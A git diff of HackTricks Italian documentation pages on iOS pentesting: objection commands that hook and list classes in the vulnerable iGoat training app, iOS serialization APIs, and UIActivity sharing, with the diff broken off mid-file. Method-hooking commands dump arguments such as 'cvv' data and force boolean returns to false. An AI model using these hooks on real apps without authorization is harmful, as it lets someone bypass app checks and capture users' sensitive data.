|
||||||
function _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
|
funzione _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
|
||||||
function _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
|
funzione _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
|
||||||
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
|
funzione _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
|
||||||
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
|
funzione _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
|
||||||
variable _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
|
variabile _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
|
||||||
variable _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
|
variabile _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
|
||||||
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
variabile _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||||
[..]
|
[..]
|
||||||
```
|
```
|
||||||
## Elencare le classi di un'app
|
|
||||||
|
|
||||||
* `ios hooking list classes`: Elencare le classi dell'app
|
## Elenco delle classi di un'app
|
||||||
|
|
||||||
|
* `ios hooking list classes`: Elenca le classi dell'app
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking list classes
|
ios hooking list classes
|
||||||
|
@ -135,7 +137,7 @@ AAAppleTVRequest
|
||||||
AAAttestationSigner
|
AAAttestationSigner
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
* `ios hooking search classes <search_term>`: Cercare una classe che contiene una stringa. Puoi **cercare un termine univoco che è correlato al nome del pacchetto principale** dell'app per trovare le classi principali dell'app come nell'esempio:
|
* `ios hooking search classes <search_term>`: Cerca una classe che contiene una stringa. Puoi **cercare un termine unico che è correlato al nome del pacchetto principale dell'app** per trovare le classi principali dell'app come nell'esempio:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking search classes iGoat
|
ios hooking search classes iGoat
|
||||||
|
@ -153,9 +155,9 @@ iGoat_Swift.MemoryManagementVC
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
## Elencare i metodi di una classe
|
## Elenco dei metodi di classe
|
||||||
|
|
||||||
* `ios hooking list class_methods`: Elencare i metodi di una classe specifica
|
* `ios hooking list class_methods`: Elenca i metodi di una classe specifica
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||||
|
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||||
- initWithValue:
|
- initWithValue:
|
||||||
- setCardNumber:
|
- setCardNumber:
|
||||||
```
|
```
|
||||||
* `ios hooking search methods <search_term>`: Cercare un metodo che contiene una stringa
|
* `ios hooking search methods <search_term>`: Cerca un metodo che contiene una stringa
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking search methods cvv
|
ios hooking search methods cvv
|
||||||
|
@ -192,7 +194,7 @@ Ora che hai **enumerato le classi e i moduli** utilizzati dall'applicazione, pot
|
||||||
|
|
||||||
## Hook di tutti i metodi di una classe
|
## Hook di tutti i metodi di una classe
|
||||||
|
|
||||||
* `ios hooking watch class <class_name>`: Hook di tutti i metodi di una classe, dump di tutti i parametri iniziali e dei risultati
|
* `ios hooking watch class <class_name>`: Hook di tutti i metodi di una classe, dump di tutti i parametri iniziali e dei ritorni
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||||
|
@ -200,13 +202,13 @@ ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||||
|
|
||||||
## Hook di un singolo metodo
|
## Hook di un singolo metodo
|
||||||
|
|
||||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook di un metodo specifico di una classe, dump dei parametri, delle tracce di esecuzione e dei risultati del metodo ogni volta che viene chiamato
|
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook di un metodo specifico di una classe dumpando i parametri, i backtrace e i ritorni del metodo ogni volta che viene chiamato
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||||
```
|
```
|
||||||
|
|
||||||
## Modifica del valore di ritorno booleano
|
## Cambiare il ritorno booleano
|
||||||
|
|
||||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Questo farà sì che il metodo selezionato restituisca il booleano indicato
|
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Questo farà sì che il metodo selezionato restituisca il booleano indicato
|
||||||
|
|
||||||
|
@ -214,7 +216,7 @@ ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPresse
|
||||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||||
```
|
```
|
||||||
|
|
||||||
## Genera un modello di hooking
|
## Genera un template di hooking
|
||||||
|
|
||||||
* `ios hooking generate simple <class_name>`:
|
* `ios hooking generate simple <class_name>`:
|
||||||
|
|
||||||
|
@ -264,16 +266,17 @@ console.log('Leaving - setCvv:');
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repository di github.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,17 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# WebView Protocol Handlers
|
# WebView Protocol Handlers
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
Codice e ulteriori informazioni su [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
Code e ulteriori informazioni in [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||||
|
|
||||||
## Serializzazione degli oggetti nello sviluppo iOS
|
## Serializzazione degli Oggetti nello Sviluppo iOS
|
||||||
|
|
||||||
In iOS, la **serializzazione degli oggetti** consiste nella conversione degli oggetti in un formato che può essere facilmente memorizzato o trasmesso, e quindi nella loro ricostruzione da questo formato quando necessario. Due protocolli principali, **`NSCoding`** e **`NSSecureCoding`**, facilitano questo processo per le sottoclassi di Objective-C o `NSObject`, consentendo agli oggetti di essere serializzati in **`NSData`**, un formato che avvolge i buffer di byte.
|
In iOS, **la serializzazione degli oggetti** implica la conversione degli oggetti in un formato che può essere facilmente memorizzato o trasmesso, e poi la ricostruzione di essi da questo formato quando necessario. Due protocolli principali, **`NSCoding`** e **`NSSecureCoding`**, facilitano questo processo per le sottoclassi di Objective-C o `NSObject`, consentendo agli oggetti di essere serializzati in **`NSData`**, un formato che avvolge i buffer di byte.
|
||||||
|
|
||||||
### Implementazione di **`NSCoding`**
|
### **Implementazione di `NSCoding`**
|
||||||
Per implementare `NSCoding`, una classe deve ereditare da `NSObject` o essere contrassegnata come `@objc`. Questo protocollo richiede l'implementazione di due metodi per la codifica e la decodifica delle variabili di istanza:
|
Per implementare `NSCoding`, una classe deve ereditare da `NSObject` o essere contrassegnata come `@objc`. Questo protocollo richiede l'implementazione di due metodi per la codifica e la decodifica delle variabili di istanza:
|
||||||
```swift
|
```swift
|
||||||
class CustomPoint: NSObject, NSCoding {
|
class CustomPoint: NSObject, NSCoding {
|
||||||
|
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### **Migliorare la sicurezza con `NSSecureCoding`**
|
### **Migliorare la Sicurezza con `NSSecureCoding`**
|
||||||
Per mitigare le vulnerabilità in cui gli attaccanti iniettano dati in oggetti già costruiti, **`NSSecureCoding`** offre un protocollo avanzato. Le classi che si conformano a `NSSecureCoding` devono verificare il tipo di oggetti durante la decodifica, garantendo che vengano istanziati solo gli oggetti di tipo previsto. Tuttavia, è importante notare che mentre `NSSecureCoding` migliora la sicurezza del tipo, non crittografa i dati o ne garantisce l'integrità, rendendo necessarie ulteriori misure per proteggere le informazioni sensibili:
|
Per mitigare le vulnerabilità in cui gli attaccanti iniettano dati in oggetti già costruiti, **`NSSecureCoding`** offre un protocollo migliorato. Le classi che si conformano a `NSSecureCoding` devono verificare il tipo di oggetti durante la decodifica, assicurando che vengano istanziati solo i tipi di oggetti attesi. Tuttavia, è fondamentale notare che mentre `NSSecureCoding` migliora la sicurezza dei tipi, non cripta i dati né garantisce la loro integrità, rendendo necessarie ulteriori misure per proteggere le informazioni sensibili:
|
||||||
```swift
|
```swift
|
||||||
static var supportsSecureCoding: Bool {
|
static var supportsSecureCoding: Bool {
|
||||||
return true
|
return true
|
||||||
|
@ -45,42 +46,42 @@ return true
|
||||||
|
|
||||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||||
```
|
```
|
||||||
## Archiviazione dati con `NSKeyedArchiver`
|
## Archiviazione dei Dati con `NSKeyedArchiver`
|
||||||
`NSKeyedArchiver` e il suo controparte, `NSKeyedUnarchiver`, consentono di codificare gli oggetti in un file e successivamente recuperarli. Questo meccanismo è utile per persistere gli oggetti:
|
`NSKeyedArchiver` e il suo corrispondente, `NSKeyedUnarchiver`, consentono di codificare oggetti in un file e successivamente recuperarli. Questo meccanismo è utile per persistere oggetti:
|
||||||
```swift
|
```swift
|
||||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||||
```
|
```
|
||||||
### Utilizzo di `Codable` per la serializzazione semplificata
|
### Utilizzo di `Codable` per una Serializzazione Semplificata
|
||||||
Il protocollo `Codable` di Swift combina `Decodable` e `Encodable`, facilitando la codifica e decodifica di oggetti come `String`, `Int`, `Double`, ecc., senza sforzo aggiuntivo:
|
Il protocollo `Codable` di Swift combina `Decodable` e `Encodable`, facilitando la codifica e la decodifica di oggetti come `String`, `Int`, `Double`, ecc., senza sforzo aggiuntivo:
|
||||||
```swift
|
```swift
|
||||||
struct CustomPointStruct: Codable {
|
struct CustomPointStruct: Codable {
|
||||||
var x: Double
|
var x: Double
|
||||||
var name: String
|
var name: String
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Questo approccio supporta la serializzazione diretta in e da liste di proprietà e JSON, migliorando la gestione dei dati nelle applicazioni Swift.
|
Questo approccio supporta la serializzazione semplice da e verso le liste di proprietà e JSON, migliorando la gestione dei dati nelle applicazioni Swift.
|
||||||
|
|
||||||
## Alternative di codifica JSON e XML
|
## Alternative di Codifica JSON e XML
|
||||||
Oltre al supporto nativo, diverse librerie di terze parti offrono funzionalità di codifica/decodifica JSON e XML, ognuna con le proprie caratteristiche di prestazioni e considerazioni sulla sicurezza. È fondamentale selezionare attentamente queste librerie, specialmente per mitigare vulnerabilità come gli attacchi XXE (XML External Entities) configurando i parser per impedire l'elaborazione di entità esterne.
|
Oltre al supporto nativo, diverse librerie di terze parti offrono capacità di codifica/decodifica JSON e XML, ognuna con le proprie caratteristiche di prestazione e considerazioni di sicurezza. È imperativo selezionare attentamente queste librerie, specialmente per mitigare vulnerabilità come gli attacchi XXE (XML External Entities) configurando i parser per prevenire l'elaborazione di entità esterne.
|
||||||
|
|
||||||
### Considerazioni sulla sicurezza
|
|
||||||
Quando si serializzano dati, specialmente nel file system, è essenziale essere vigili sulla potenziale inclusione di informazioni sensibili. I dati serializzati, se intercettati o gestiti in modo improprio, possono esporre le applicazioni a rischi come azioni non autorizzate o perdita di dati. Si consiglia di crittografare e firmare i dati serializzati per migliorare la sicurezza.
|
|
||||||
|
|
||||||
|
### Considerazioni di Sicurezza
|
||||||
|
Quando si serializzano i dati, specialmente nel file system, è essenziale essere vigili riguardo alla potenziale inclusione di informazioni sensibili. I dati serializzati, se intercettati o gestiti in modo improprio, possono esporre le applicazioni a rischi come azioni non autorizzate o perdite di dati. Si raccomanda di crittografare e firmare i dati serializzati per migliorare la sicurezza.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,78 +1,80 @@
|
||||||
# Condivisione UIActivity
|
# iOS UIActivity Sharing
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# Condivisione UIActivity semplificata
|
# UIActivity Sharing Semplificato
|
||||||
|
|
||||||
A partire da iOS 6, le applicazioni di terze parti sono abilitate a **condividere dati** come testo, URL o immagini utilizzando meccanismi come AirDrop, come descritto nella [guida alla comunicazione tra app](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) di Apple. Questa funzionalità si manifesta attraverso un _foglio di attività di condivisione_ a livello di sistema che appare quando si interagisce con il pulsante "Condividi".
|
A partire da iOS 6, le applicazioni di terze parti possono **condividere dati** come testo, URL o immagini utilizzando meccanismi come AirDrop, come descritto nella [guida alla comunicazione tra app](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) di Apple. Questa funzionalità si manifesta attraverso un _foglio di attività di condivisione_ a livello di sistema che appare interagendo con il pulsante "Condividi".
|
||||||
|
|
||||||
Un elenco completo di tutte le opzioni di condivisione integrate è disponibile su [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Gli sviluppatori possono scegliere di escludere specifiche opzioni di condivisione se le ritengono inadatte per la propria applicazione.
|
Un elenco completo di tutte le opzioni di condivisione integrate è disponibile in [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Gli sviluppatori possono scegliere di escludere specifiche opzioni di condivisione se le ritengono inadeguate per la loro applicazione.
|
||||||
|
|
||||||
## **Come condividere dati**
|
## **Come Condividere Dati**
|
||||||
|
|
||||||
L'attenzione dovrebbe essere rivolta a:
|
L'attenzione dovrebbe essere rivolta a:
|
||||||
|
|
||||||
- La natura dei dati da condividere.
|
- La natura dei dati condivisi.
|
||||||
- L'inclusione di attività personalizzate.
|
- L'inclusione di attività personalizzate.
|
||||||
- L'esclusione di determinati tipi di attività.
|
- L'esclusione di determinati tipi di attività.
|
||||||
|
|
||||||
La condivisione avviene attraverso l'istanziazione di un `UIActivityViewController`, a cui vengono passati gli elementi destinati alla condivisione. Questo viene realizzato chiamando:
|
La condivisione è facilitata attraverso l'istanza di un `UIActivityViewController`, al quale vengono passati gli elementi destinati alla condivisione. Questo si ottiene chiamando:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
